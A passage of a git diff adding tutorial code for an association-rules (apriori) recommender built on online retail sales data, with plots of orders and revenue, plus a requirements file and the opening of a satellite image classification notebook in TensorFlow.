+    "money = dataset1.groupby(by=['CustomerID','Country'], as_index=False)['Amount'].sum()\n",
+    "print('The TOP 5 profitable customers with highest money spent...')\n",
+    "money.sort_values(by='Amount', ascending=False).head()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Creating a subplot of size 15*6\n",
+    "plt.subplots(figsize=(15,6))\n",
+    "# X axis will denote the customer ID, Y axis will denote the amount spent\n",
+    "plt.plot(money.CustomerID, money.Amount)\n",
+    "# Using bmh style for better visualization\n",
+    "plt.style.use('bmh')\n",
+    "# Labelling the X-axis\n",
+    "plt.xlabel('Customers ID')\n",
+    "# Labelling the Y-axis\n",
+    "plt.ylabel('Money spent')\n",
+    "# Giving a suitable title to the plot\n",
+    "plt.title('Money Spent by different Customers')\n",
+    "\n",
+    "plt.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Convert InvoiceDate from object to datetime\n",
+    "dataset1['InvoiceDate'] = pd.to_datetime(dataset.InvoiceDate, format='%m/%d/%Y %H:%M')\n",
+    "# Creating a new feature called year_month, such that December 2010 will be denoted as 201012\n",
+    "dataset1.insert(loc=2, column='year_month', value=dataset1['InvoiceDate'].map(lambda x: 100*x.year + x.month))\n",
+    "# Creating a new feature for Month\n",
+    "dataset1.insert(loc=3, column='month', value=dataset1.InvoiceDate.dt.month)\n",
+    "# Creating a new feature for Day\n",
+    "# +1 to make Monday=1.....until Sunday=7\n",
+    "dataset1.insert(loc=4, column='day', value=(dataset1.InvoiceDate.dt.dayofweek)+1)\n",
+    "# Creating a new feature for Hour\n",
+    "dataset1.insert(loc=5, column='hour', value=dataset1.InvoiceDate.dt.hour)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Using bmh style for better visualization\n",
+    "plt.style.use('bmh')\n",
+    "# Using groupby to extract No. of Invoices year-monthwise\n",
+    "ax = dataset1.groupby('InvoiceNo')['year_month'].unique().value_counts().sort_index().plot(kind='bar',figsize=(15,6))\n",
+    "# Labelling the X axis\n",
+    "ax.set_xlabel('Month',fontsize=15)\n",
+    "# Labelling the Y-axis\n",
+    "ax.set_ylabel('Number of Orders',fontsize=15)\n",
+    "# Giving suitable title to the plot\n",
+    "ax.set_title('Number of orders for different Months (Dec 2010 - Dec 2011)',fontsize=15)\n",
+    "# Providing with X tick labels\n",
+    "ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','Jun_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11','Dec_11'), rotation='horizontal', fontsize=13)\n",
+    "\n",
+    "plt.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Day = 6 is Saturday.no orders placed \n",
+    "dataset1[dataset1['day']==6]"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Using groupby to count no. of Invoices daywise\n",
+    "ax = dataset1.groupby('InvoiceNo')['day'].unique().value_counts().sort_index().plot(kind='bar',figsize=(15,6))\n",
+    "# Labelling X axis\n",
+    "ax.set_xlabel('Day',fontsize=15)\n",
+    "# Labelling Y axis\n",
+    "ax.set_ylabel('Number of Orders',fontsize=15)\n",
+    "# Giving suitable title to the plot\n",
+    "ax.set_title('Number of orders for different Days',fontsize=15)\n",
+    "# Providing with X tick labels\n",
+    "# Since there are no orders placed on Saturdays, we are excluding Sat from xticklabels\n",
+    "ax.set_xticklabels(('Mon','Tue','Wed','Thur','Fri','Sun'), rotation='horizontal', fontsize=15)\n",
+    "\n",
+    "plt.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Using groupby to count the no. of Invoices hourwise\n",
+    "ax = dataset1.groupby('InvoiceNo')['hour'].unique().value_counts().iloc[:-2].sort_index().plot(kind='bar',figsize=(15,6))\n",
+    "# Labelling X axis\n",
+    "ax.set_xlabel('Hour',fontsize=15)\n",
+    "# Labelling Y axis\n",
+    "ax.set_ylabel('Number of Orders',fontsize=15)\n",
+    "# Giving suitable title to the plot\n",
+    "ax.set_title('Number of orders for different Hours', fontsize=15)\n",
+    "# Providing with X tick lables ( all orders are placed between 6 and 20 hour )\n",
+    "ax.set_xticklabels(range(6,21), rotation='horizontal', fontsize=15)\n",
+    "plt.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "dataset1.UnitPrice.describe()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# checking the distribution of unit price\n",
+    "plt.subplots(figsize=(12,6))\n",
+    "# Using darkgrid style for better visualization\n",
+    "sns.set_style('darkgrid')\n",
+    "# Applying boxplot visualization on Unit Price\n",
+    "sns.boxplot(dataset1.UnitPrice)\n",
+    "plt.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Creating a new df of free items\n",
+    "freeproducts = dataset1[dataset1['UnitPrice'] == 0]\n",
+    "freeproducts.head()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Counting how many free items were given out year-month wise\n",
+    "freeproducts.year_month.value_counts().sort_index()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Counting how many free items were given out year-month wise\n",
+    "ax = freeproducts.year_month.value_counts().sort_index().plot(kind='bar',figsize=(12,6))\n",
+    "# Labelling X-axis\n",
+    "ax.set_xlabel('Month',fontsize=15)\n",
+    "# Labelling Y-axis\n",
+    "ax.set_ylabel('Frequency',fontsize=15)\n",
+    "# Giving suitable title to the plot\n",
+    "ax.set_title('Frequency for different Months (Dec 2010 - Dec 2011)',fontsize=15)\n",
+    "# Providing X tick labels\n",
+    "# Since there are 0 free items in June 2011, we are excluding it\n",
+    "ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11'), rotation='horizontal', fontsize=13)\n",
+    "plt.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "plt.style.use('bmh')\n",
+    "# Using groupby to sum the amount spent year-month wise\n",
+    "ax = dataset1.groupby('year_month')['Amount'].sum().sort_index().plot(kind='bar',figsize=(15,6))\n",
+    "# Labelling X axis\n",
+    "ax.set_xlabel('Month',fontsize=15)\n",
+    "# Labelling Y axis\n",
+    "ax.set_ylabel('Amount',fontsize=15)\n",
+    "# Giving suitable title to the plot\n",
+    "ax.set_title('Revenue Generated for different Months (Dec 2010 - Dec 2011)',fontsize=15)\n",
+    "# Providing with X tick labels\n",
+    "ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','Jun_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11','Dec_11'), rotation='horizontal', fontsize=13)\n",
+    "plt.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Creating a new pivot table which sums the Quantity ordered for each item\n",
+    "most_sold= dataset1.pivot_table(index=['StockCode','Description'], values='Quantity', aggfunc='sum').sort_values(by='Quantity', ascending=False)\n",
+    "most_sold.reset_index(inplace=True)\n",
+    "sns.set_style('white')\n",
+    "# Creating a bar plot of Description ( or the item ) on the Y axis and the sum of Quantity on the X axis\n",
+    "# We are plotting only the 10 most ordered items\n",
+    "sns.barplot(y='Description', x='Quantity', data=most_sold.head(10))\n",
+    "# Giving suitable title to the plot\n",
+    "plt.title('Top 10 Items based on No. of Sales', fontsize=14)\n",
+    "plt.ylabel('Item')"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# choosing WHITE HANGING HEART T-LIGHT HOLDER as a sample\n",
+    "d_white = dataset1[dataset1['Description']=='WHITE HANGING HEART T-LIGHT HOLDER']"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# WHITE HANGING HEART T-LIGHT HOLDER has been ordered 2028 times\n",
+    "d_white.shape"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# WHITE HANGING HEART T-LIGHT HOLDER has been ordered by 856 customers\n",
+    "len(d_white.CustomerID.unique())"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Creating a pivot table that displays the sum of unique Customers who bought particular item\n",
+    "\n",
+    "most_customers = dataset1.pivot_table(index=['StockCode','Description'], values='CustomerID', aggfunc=lambda x: len(x.unique())).sort_values(by='CustomerID', ascending=False)\n",
+    "most_customers\n",
+    "# Since the count for WHITE HANGING HEART T-LIGHT HOLDER matches above length 856, the pivot table looks correct for all items"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "most_customers.reset_index(inplace=True)\n",
+    "sns.set_style('white')\n",
+    "# Creating a bar plot of Description ( or the item ) on the Y axis and the sum of unique Customers on the X axis\n",
+    "# We are plotting only the 10 most bought items\n",
+    "sns.barplot(y='Description', x='CustomerID', data=most_customers.head(10))\n",
+    "# Giving suitable title to the plot\n",
+    "plt.title('Top 10 Items bought by Most no. of Customers', fontsize=14)\n",
+    "plt.ylabel('Item')"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Storing all the invoice numbers into a list y\n",
+    "y = dataset1['InvoiceNo']\n",
+    "y = y.to_list()\n",
+    "# Using set function to find unique invoice numbers only and storing them in invoices list\n",
+    "invoices = list(set(y))\n",
+    "# Creating empty list first_choices\n",
+    "firstchoices = []\n",
+    "# looping into list of unique invoice numbers\n",
+    "for i in invoices:\n",
+    "    \n",
+    "    # the first item (index = 0) of every invoice is the first purchase\n",
+    "    # extracting the item name for the first purchase\n",
+    "    firstpurchase = dataset1[dataset1['InvoiceNo']==i]['items'].reset_index(drop=True)[0]\n",
+    "    \n",
+    "    # Appending the first purchase name into first choices list\n",
+    "    firstchoices.append(firstpurchase)\n",
+    "firstchoices[:5]"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Using counter to count repeating first choices\n",
+    "count = Counter(firstchoices)\n",
+    "# Storing the counter into a datafrane\n",
+    "data_first_choices = pd.DataFrame.from_dict(count, orient='index').reset_index()\n",
+    "# Rename columns as item and count\n",
+    "data_first_choices.rename(columns={'index':'item', 0:'count'},inplace=True)\n",
+    "# Sorting the data based on count\n",
+    "data_first_choices.sort_values(by='count',ascending=False)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "plt.subplots(figsize=(20,10))\n",
+    "sns.set_style('white')\n",
+    "# Creating a bar plot that displays Item name on the Y axis and Count on the X axis\n",
+    "sns.barplot(y='item', x='count', data=data_first_choices.sort_values(by='count',ascending=False).head(10))\n",
+    "# Giving suitable title to the plot\n",
+    "plt.title('Top 10 First Choices', fontsize=14)\n",
+    "plt.ylabel('Item')"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "basket = (dataset1.groupby(['InvoiceNo', 'Description'])['Quantity'].sum().unstack().reset_index().fillna(0).set_index('InvoiceNo'))\n",
+    "basket.head(10)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "def encode_u(x):\n",
+    "    if x < 1:\n",
+    "        return 0\n",
+    "    if x >= 1:\n",
+    "        return 1\n",
+    "\n",
+    "basket = basket.applymap(encode_u)\n",
+    "# everything is encoded into 0 and 1\n",
+    "basket.head(10)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# trying out on a sample item\n",
+    "wooden_star = basket.loc[basket['WOODEN STAR CHRISTMAS SCANDINAVIAN']==1]\n",
+    "# Using apriori algorithm, creating association rules for the sample item\n",
+    "# Applying apriori algorithm for wooden_star\n",
+    "frequentitemsets = apriori(wooden_star, min_support=0.15, use_colnames=True)\n",
+    "# Storing the association rules into rules\n",
+    "wooden_star_rules = association_rules(frequentitemsets, metric=\"lift\", min_threshold=1)\n",
+    "# Sorting the rules on lift and support\n",
+    "wooden_star_rules.sort_values(['lift','support'],ascending=False).reset_index(drop=True)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# In other words, it returns the items which are likely to be bought by user because he bought the item passed into function\n",
+    "def frequently_bought_t(item):\n",
+    "    # df of item passed\n",
+    "    item_d = basket.loc[basket[item]==1]\n",
+    "    # Applying apriori algorithm on item df\n",
+    "    frequentitemsets = apriori(item_d, min_support=0.15, use_colnames=True)\n",
+    "    # Storing association rules\n",
+    "    rules = association_rules(frequentitemsets, metric=\"lift\", min_threshold=1)\n",
+    "    # Sorting on lift and support\n",
+    "    rules.sort_values(['lift','support'],ascending=False).reset_index(drop=True)\n",
+    "    print('Items frequently bought together with {0}'.format(item))\n",
+    "    # Returning top 6 items with highest lift and support\n",
+    "    return rules['consequents'].unique()[:6]"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "frequently_bought_t('WOODEN STAR CHRISTMAS SCANDINAVIAN')"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "frequently_bought_t('JAM MAKING SET WITH JARS')"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": []
+  }
+ ],
+ "metadata": {
+  "interpreter": {
+   "hash": "777490da48e046e3b512f0b24bf037db286a787493a11bf82a9e0f2cbf21bb67"
+  },
+  "kernelspec": {
+   "display_name": "Python 3.8.7 64-bit",
+   "language": "python",
+   "name": "python3"
+  },
+  "language_info": {
+   "codemirror_mode": {
+    "name": "ipython",
+    "version": 3
+   },
+   "file_extension": ".py",
+   "mimetype": "text/x-python",
+   "name": "python",
+   "nbconvert_exporter": "python",
+   "pygments_lexer": "ipython3",
+   "version": "3.9.12"
+  },
+  "orig_nbformat": 4
+ },
+ "nbformat": 4,
+ "nbformat_minor": 2
+}
diff --git a/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.py b/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.py
new file mode 100644
index 00000000..a1ac3013
--- /dev/null
+++ b/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.py
@@ -0,0 +1,315 @@
+# %%
+import pandas as pd
+import seaborn as sns
+import matplotlib.pyplot as plt
+%matplotlib inline
+from mlxtend.frequent_patterns import apriori, association_rules
+from collections import Counter
+
+# %%
+# dataset = pd.read_csv("data.csv",encoding= 'unicode_escape')
+dataset = pd.read_excel("Online Retail.xlsx")
+dataset.head()
+
+# %%
+dataset.shape
+
+# %%
+## Verify missing value
+dataset.isnull().sum().sort_values(ascending=False)
+
+# %%
+## Remove missing values
+dataset1 = dataset.dropna()
+dataset1.describe()
+
+# %%
+#selecting data where quantity > 0
+dataset1= dataset1[dataset1.Quantity > 0]
+dataset1.describe()
+
+# %%
+# Creating a new feature 'Amount' which is the product of Quantity and its Unit Price
+dataset1['Amount'] = dataset1['Quantity'] * dataset1['UnitPrice']
+# to highlight the Customers with most no. of orders (invoices) with groupby function
+orders = dataset1.groupby(by=['CustomerID','Country'], as_index=False)['InvoiceNo'].count()
+print('The TOP 5 loyal customers with most number of orders...')
+orders.sort_values(by='InvoiceNo', ascending=False).head()
+
+# %%
+# Creating a subplot of size 15x6
+plt.subplots(figsize=(15,6))
+# Using the style bmh for better visualization
+plt.style.use('bmh')
+# X axis will denote the customer ID, Y axis will denote the number of orders
+plt.plot(orders.CustomerID, orders.InvoiceNo)
+# Labelling the X axis
+plt.xlabel('Customers ID')
+# Labelling the Y axis
+plt.ylabel('Number of Orders')
+#  Title to the plot
+plt.title('Number of Orders by different Customers')
+plt.show()
+
+# %%
+#Using groupby function to highlight the Customers with highest spent amount (invoices)
+money = dataset1.groupby(by=['CustomerID','Country'], as_index=False)['Amount'].sum()
+print('The TOP 5 profitable customers with highest money spent...')
+money.sort_values(by='Amount', ascending=False).head()
+
+# %%
+# Creating a subplot of size 15*6
+plt.subplots(figsize=(15,6))
+# X axis will denote the customer ID, Y axis will denote the amount spent
+plt.plot(money.CustomerID, money.Amount)
+# Using bmh style for better visualization
+plt.style.use('bmh')
+# Labelling the X-axis
+plt.xlabel('Customers ID')
+# Labelling the Y-axis
+plt.ylabel('Money spent')
+# Giving a suitable title to the plot
+plt.title('Money Spent by different Customers')
+
+plt.show()
+
+# %%
+# Convert InvoiceDate from object to datetime
+dataset1['InvoiceDate'] = pd.to_datetime(dataset.InvoiceDate, format='%m/%d/%Y %H:%M')
+# Creating a new feature called year_month, such that December 2010 will be denoted as 201012
+dataset1.insert(loc=2, column='year_month', value=dataset1['InvoiceDate'].map(lambda x: 100*x.year + x.month))
+# Creating a new feature for Month
+dataset1.insert(loc=3, column='month', value=dataset1.InvoiceDate.dt.month)
+# Creating a new feature for Day
+# +1 to make Monday=1.....until Sunday=7
+dataset1.insert(loc=4, column='day', value=(dataset1.InvoiceDate.dt.dayofweek)+1)
+# Creating a new feature for Hour
+dataset1.insert(loc=5, column='hour', value=dataset1.InvoiceDate.dt.hour)
+
+# %%
+# Using bmh style for better visualization
+plt.style.use('bmh')
+# Using groupby to extract No. of Invoices year-monthwise
+ax = dataset1.groupby('InvoiceNo')['year_month'].unique().value_counts().sort_index().plot(kind='bar',figsize=(15,6))
+# Labelling the X axis
+ax.set_xlabel('Month',fontsize=15)
+# Labelling the Y-axis
+ax.set_ylabel('Number of Orders',fontsize=15)
+# Giving suitable title to the plot
+ax.set_title('Number of orders for different Months (Dec 2010 - Dec 2011)',fontsize=15)
+# Providing with X tick labels
+ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','Jun_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11','Dec_11'), rotation='horizontal', fontsize=13)
+
+plt.show()
+
+# %%
+# Day = 6 is Saturday.no orders placed 
+dataset1[dataset1['day']==6]
+
+# %%
+# Using groupby to count no. of Invoices daywise
+ax = dataset1.groupby('InvoiceNo')['day'].unique().value_counts().sort_index().plot(kind='bar',figsize=(15,6))
+# Labelling X axis
+ax.set_xlabel('Day',fontsize=15)
+# Labelling Y axis
+ax.set_ylabel('Number of Orders',fontsize=15)
+# Giving suitable title to the plot
+ax.set_title('Number of orders for different Days',fontsize=15)
+# Providing with X tick labels
+# Since there are no orders placed on Saturdays, we are excluding Sat from xticklabels
+ax.set_xticklabels(('Mon','Tue','Wed','Thur','Fri','Sun'), rotation='horizontal', fontsize=15)
+
+plt.show()
+
+# %%
+# Using groupby to count the no. of Invoices hourwise
+ax = dataset1.groupby('InvoiceNo')['hour'].unique().value_counts().iloc[:-2].sort_index().plot(kind='bar',figsize=(15,6))
+# Labelling X axis
+ax.set_xlabel('Hour',fontsize=15)
+# Labelling Y axis
+ax.set_ylabel('Number of Orders',fontsize=15)
+# Giving suitable title to the plot
+ax.set_title('Number of orders for different Hours', fontsize=15)
+# Providing with X tick lables ( all orders are placed between 6 and 20 hour )
+ax.set_xticklabels(range(6,21), rotation='horizontal', fontsize=15)
+plt.show()
+
+# %%
+dataset1.UnitPrice.describe()
+
+# %%
+# checking the distribution of unit price
+plt.subplots(figsize=(12,6))
+# Using darkgrid style for better visualization
+sns.set_style('darkgrid')
+# Applying boxplot visualization on Unit Price
+sns.boxplot(dataset1.UnitPrice)
+plt.show()
+
+# %%
+# Creating a new df of free items
+freeproducts = dataset1[dataset1['UnitPrice'] == 0]
+freeproducts.head()
+
+# %%
+# Counting how many free items were given out year-month wise
+freeproducts.year_month.value_counts().sort_index()
+
+# %%
+# Counting how many free items were given out year-month wise
+ax = freeproducts.year_month.value_counts().sort_index().plot(kind='bar',figsize=(12,6))
+# Labelling X-axis
+ax.set_xlabel('Month',fontsize=15)
+# Labelling Y-axis
+ax.set_ylabel('Frequency',fontsize=15)
+# Giving suitable title to the plot
+ax.set_title('Frequency for different Months (Dec 2010 - Dec 2011)',fontsize=15)
+# Providing X tick labels
+# Since there are 0 free items in June 2011, we are excluding it
+ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11'), rotation='horizontal', fontsize=13)
+plt.show()
+
+# %%
+plt.style.use('bmh')
+# Using groupby to sum the amount spent year-month wise
+ax = dataset1.groupby('year_month')['Amount'].sum().sort_index().plot(kind='bar',figsize=(15,6))
+# Labelling X axis
+ax.set_xlabel('Month',fontsize=15)
+# Labelling Y axis
+ax.set_ylabel('Amount',fontsize=15)
+# Giving suitable title to the plot
+ax.set_title('Revenue Generated for different Months (Dec 2010 - Dec 2011)',fontsize=15)
+# Providing with X tick labels
+ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','Jun_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11','Dec_11'), rotation='horizontal', fontsize=13)
+plt.show()
+
+# %%
+# Creating a new pivot table which sums the Quantity ordered for each item
+most_sold= dataset1.pivot_table(index=['StockCode','Description'], values='Quantity', aggfunc='sum').sort_values(by='Quantity', ascending=False)
+most_sold.reset_index(inplace=True)
+sns.set_style('white')
+# Creating a bar plot of Description ( or the item ) on the Y axis and the sum of Quantity on the X axis
+# We are plotting only the 10 most ordered items
+sns.barplot(y='Description', x='Quantity', data=most_sold.head(10))
+# Giving suitable title to the plot
+plt.title('Top 10 Items based on No. of Sales', fontsize=14)
+plt.ylabel('Item')
+
+# %%
+# choosing WHITE HANGING HEART T-LIGHT HOLDER as a sample
+d_white = dataset1[dataset1['Description']=='WHITE HANGING HEART T-LIGHT HOLDER']
+
+# %%
+# WHITE HANGING HEART T-LIGHT HOLDER has been ordered 2028 times
+d_white.shape
+
+# %%
+# WHITE HANGING HEART T-LIGHT HOLDER has been ordered by 856 customers
+len(d_white.CustomerID.unique())
+
+# %%
+# Creating a pivot table that displays the sum of unique Customers who bought particular item
+
+most_customers = dataset1.pivot_table(index=['StockCode','Description'], values='CustomerID', aggfunc=lambda x: len(x.unique())).sort_values(by='CustomerID', ascending=False)
+most_customers
+# Since the count for WHITE HANGING HEART T-LIGHT HOLDER matches above length 856, the pivot table looks correct for all items
+
+# %%
+most_customers.reset_index(inplace=True)
+sns.set_style('white')
+# Creating a bar plot of Description ( or the item ) on the Y axis and the sum of unique Customers on the X axis
+# We are plotting only the 10 most bought items
+sns.barplot(y='Description', x='CustomerID', data=most_customers.head(10))
+# Giving suitable title to the plot
+plt.title('Top 10 Items bought by Most no. of Customers', fontsize=14)
+plt.ylabel('Item')
+
+# %%
+# Storing all the invoice numbers into a list y
+y = dataset1['InvoiceNo']
+y = y.to_list()
+# Using set function to find unique invoice numbers only and storing them in invoices list
+invoices = list(set(y))
+# Creating empty list first_choices
+firstchoices = []
+# looping into list of unique invoice numbers
+for i in invoices:
+    
+    # the first item (index = 0) of every invoice is the first purchase
+    # extracting the item name for the first purchase
+    firstpurchase = dataset1[dataset1['InvoiceNo']==i]['items'].reset_index(drop=True)[0]
+    
+    # Appending the first purchase name into first choices list
+    firstchoices.append(firstpurchase)
+firstchoices[:5]
+
+# %%
+# Using counter to count repeating first choices
+count = Counter(firstchoices)
+# Storing the counter into a datafrane
+data_first_choices = pd.DataFrame.from_dict(count, orient='index').reset_index()
+# Rename columns as item and count
+data_first_choices.rename(columns={'index':'item', 0:'count'},inplace=True)
+# Sorting the data based on count
+data_first_choices.sort_values(by='count',ascending=False)
+
+# %%
+plt.subplots(figsize=(20,10))
+sns.set_style('white')
+# Creating a bar plot that displays Item name on the Y axis and Count on the X axis
+sns.barplot(y='item', x='count', data=data_first_choices.sort_values(by='count',ascending=False).head(10))
+# Giving suitable title to the plot
+plt.title('Top 10 First Choices', fontsize=14)
+plt.ylabel('Item')
+
+# %%
+basket = (dataset1.groupby(['InvoiceNo', 'Description'])['Quantity'].sum().unstack().reset_index().fillna(0).set_index('InvoiceNo'))
+basket.head(10)
+
+# %%
+def encode_u(x):
+    if x < 1:
+        return 0
+    if x >= 1:
+        return 1
+
+basket = basket.applymap(encode_u)
+# everything is encoded into 0 and 1
+basket.head(10)
+
+# %%
+# trying out on a sample item
+wooden_star = basket.loc[basket['WOODEN STAR CHRISTMAS SCANDINAVIAN']==1]
+# Using apriori algorithm, creating association rules for the sample item
+# Applying apriori algorithm for wooden_star
+frequentitemsets = apriori(wooden_star, min_support=0.15, use_colnames=True)
+# Storing the association rules into rules
+wooden_star_rules = association_rules(frequentitemsets, metric="lift", min_threshold=1)
+# Sorting the rules on lift and support
+wooden_star_rules.sort_values(['lift','support'],ascending=False).reset_index(drop=True)
+
+# %%
+# In other words, it returns the items which are likely to be bought by user because he bought the item passed into function
+def frequently_bought_t(item):
+    # df of item passed
+    item_d = basket.loc[basket[item]==1]
+    # Applying apriori algorithm on item df
+    frequentitemsets = apriori(item_d, min_support=0.15, use_colnames=True)
+    # Storing association rules
+    rules = association_rules(frequentitemsets, metric="lift", min_threshold=1)
+    # Sorting on lift and support
+    rules.sort_values(['lift','support'],ascending=False).reset_index(drop=True)
+    print('Items frequently bought together with {0}'.format(item))
+    # Returning top 6 items with highest lift and support
+    return rules['consequents'].unique()[:6]
+
+# %%
+frequently_bought_t('WOODEN STAR CHRISTMAS SCANDINAVIAN')
+
+# %%
+frequently_bought_t('JAM MAKING SET WITH JARS')
+
+# %%
+
+
+
diff --git a/machine-learning/recommender-system-using-association-rules/requirements.txt b/machine-learning/recommender-system-using-association-rules/requirements.txt
new file mode 100644
index 00000000..7528beee
--- /dev/null
+++ b/machine-learning/recommender-system-using-association-rules/requirements.txt
@@ -0,0 +1,7 @@
+pandas==1.1.5
+mlxtend==0.14.0
+numpy==1.19.5
+seaborn==0.11.1
+matplotlib==3.2.2
+matplotlib-inline==0.1.3
+openpyxl
\ No newline at end of file
diff --git a/machine-learning/satellite-image-classification/README.md b/machine-learning/satellite-image-classification/README.md
new file mode 100644
index 00000000..0930a856
--- /dev/null
+++ b/machine-learning/satellite-image-classification/README.md
@@ -0,0 +1,4 @@
+# [Satellite Image Classification using TensorFlow in Python](https://www.thepythoncode.com/article/satellite-image-classification-using-tensorflow-python)
+
+To run this:
+- `pip3 install -r requirements.txt`
\ No newline at end of file
diff --git a/machine-learning/satellite-image-classification/Satellite_Image_Classification_with_TensorFlow_PythonCode.ipynb b/machine-learning/satellite-image-classification/Satellite_Image_Classification_with_TensorFlow_PythonCode.ipynb
new file mode 100644
index 00000000..d3eab9a3
--- /dev/null
+++ b/machine-learning/satellite-image-classification/Satellite_Image_Classification_with_TensorFlow_PythonCode.ipynb
@@ -0,0 +1,482 @@
+{
+  "cells": [
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "siBWl3-lEd8x",
+        "outputId": "77a7acbf-6f53-4c5c-e713-9968f8b561b8"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install tensorflow tensorflow_addons tensorflow_datasets tensorflow_hub numpy matplotlib seaborn"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "HHEXVxQw_g5B"
+      },
+      "outputs": [],
+      "source": [
+        "import os\n",
+        "\n",
+        "import numpy as np\n",
+        "import matplotlib.pyplot as plt\n",
+        "import seaborn as sns\n",
+        "import tensorflow as tf\n",
+        "import tensorflow_datasets as tfds\n",
+        "import tensorflow_hub as hub\n",
+        "import tensorflow_addons as tfa"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "dgKI5S4DC31Z"
+      },
+      "outputs": [],
+      "source": [
+        "# load the whole dataset, for data info\n",
+        "all_ds   = tfds.load(\"eurosat\", with_info=True)\n",
+        "# load training, testing & validation sets, splitting by 60%, 20% and 20% respectively\n",
+        "train_ds = tfds.load(\"eurosat\", split=\"train[:60%]\")\n",
+        "test_ds  = tfds.load(\"eurosat\", split=\"train[60%:80%]\")\n",
+        "valid_ds = tfds.load(\"eurosat\", split=\"train[80%:]\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "AcBsiqtBcwwF"
+      },
+      "outputs": [],
+      "source": [
+        "# the class names\n",
+        "class_names = all_ds[1].features[\"label\"].names\n",
+        "# total number of classes (10)\n",
+        "num_classes = len(class_names)\n",
+        "num_examples = all_ds[1].splits[\"train\"].num_examples"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
